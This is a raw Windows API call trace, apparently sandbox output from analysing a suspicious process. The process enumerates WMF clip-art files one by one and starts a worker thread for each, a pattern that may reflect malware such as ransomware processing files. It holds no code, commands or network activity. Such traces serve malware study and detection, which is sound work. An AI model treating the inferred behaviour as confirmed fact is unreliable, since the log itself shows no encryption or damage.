	[0276.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26d0
	[0276.890] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.891] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23879c00, ftCreationTime.dwHighDateTime=0x1c01c5d, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23879c00, ftLastWriteTime.dwHighDateTime=0x1c01c5d, nFileSizeHigh=0x0, nFileSizeLow=0x6260, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00603_.WMF", cAlternateFileName="")) returned 1
	[0276.891] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26d4
	[0276.893] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.893] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13335b00, ftCreationTime.dwHighDateTime=0x1bd4b0e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13335b00, ftLastWriteTime.dwHighDateTime=0x1bd4b0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c80, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00610_.WMF", cAlternateFileName="")) returned 1
	[0276.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26d8
	[0276.895] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.896] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8d0400, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8d0400, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00629_.WMF", cAlternateFileName="")) returned 1
	[0276.897] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26dc
	[0276.899] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.900] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a9b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x752a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5006, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00633_.WMF", cAlternateFileName="")) returned 1
	[0276.900] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e0
	[0276.902] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.902] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3039c00, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3039c00, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x1aba, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00638_.WMF", cAlternateFileName="")) returned 1
	[0276.902] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e4
	[0276.905] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.905] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53153500, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53153500, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00656_.WMF", cAlternateFileName="")) returned 1
	[0276.905] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e8
	[0276.907] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.907] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00668_.WMF", cAlternateFileName="")) returned 1
	[0276.908] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26ec
	[0276.910] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.910] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00670_.WMF", cAlternateFileName="")) returned 1
	[0276.910] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f0
	[0276.912] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.912] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00671_.WMF", cAlternateFileName="")) returned 1
	[0276.913] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f4
	[0277.319] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.320] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f14c400, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f14c400, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00683_.WMF", cAlternateFileName="")) returned 1
	[0277.320] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25a0
	[0277.323] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.323] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6302, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00694_.WMF", cAlternateFileName="")) returned 1
	[0277.323] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25a8
	[0277.325] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.325] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3636, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00704_.WMF", cAlternateFileName="")) returned 1
	[0277.325] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504
	[0277.327] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.328] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6697b000, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6697b000, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00726_.WMF", cAlternateFileName="")) returned 1
	[0277.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26bc
	[0277.330] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.331] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d1f5400, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d1f5400, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x1758, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00728_.WMF", cAlternateFileName="")) returned 1
	[0277.331] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c0
	[0277.333] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.334] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5096e900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5096e900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1
	[0277.334] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500
	[0277.337] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.337] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e348f00, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e348f00, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00734_.WMF", cAlternateFileName="")) returned 1
	[0277.337] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25a4
	[0277.339] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.340] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d036200, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d036200, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00735_.WMF", cAlternateFileName="")) returned 1
	[0277.340] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25e8
	[0277.342] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.342] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498bcd00, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498bcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x184c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00736_.WMF", cAlternateFileName="")) returned 1
	[0277.343] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25f0
	[0277.344] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.345] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f96e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73f96e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x543a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00768_.WMF", cAlternateFileName="")) returned 1
	[0277.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25ec
	[0277.347] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.347] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db71a00, ftCreationTime.dwHighDateTime=0x1bd4b39, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1db71a00, ftLastWriteTime.dwHighDateTime=0x1bd4b39, nFileSizeHigh=0x0, nFileSizeLow=0x16ee, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00783_.WMF", cAlternateFileName="")) returned 1
	[0277.347] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2608
	[0277.349] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.350] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230f6700, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x230f6700, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00820_.WMF", cAlternateFileName="")) returned 1
	[0277.350] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25f8
	[0277.352] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.353] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec395100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec395100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00828_.WMF", cAlternateFileName="")) returned 1
	[0277.353] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25f4
	[0277.497] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.498] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6bec00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xce6bec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00834_.WMF", cAlternateFileName="")) returned 1
	[0277.498] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25fc
	[0277.500] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.501] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc613b100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc613b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00837_.WMF", cAlternateFileName="")) returned 1
	[0277.501] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2604
	[0277.503] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.503] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00910_.WMF", cAlternateFileName="")) returned 1
	[0277.503] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.504] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2600
	[0277.506] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.506] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00911_.WMF", cAlternateFileName="")) returned 1
	[0277.506] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25e4
	[0277.509] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
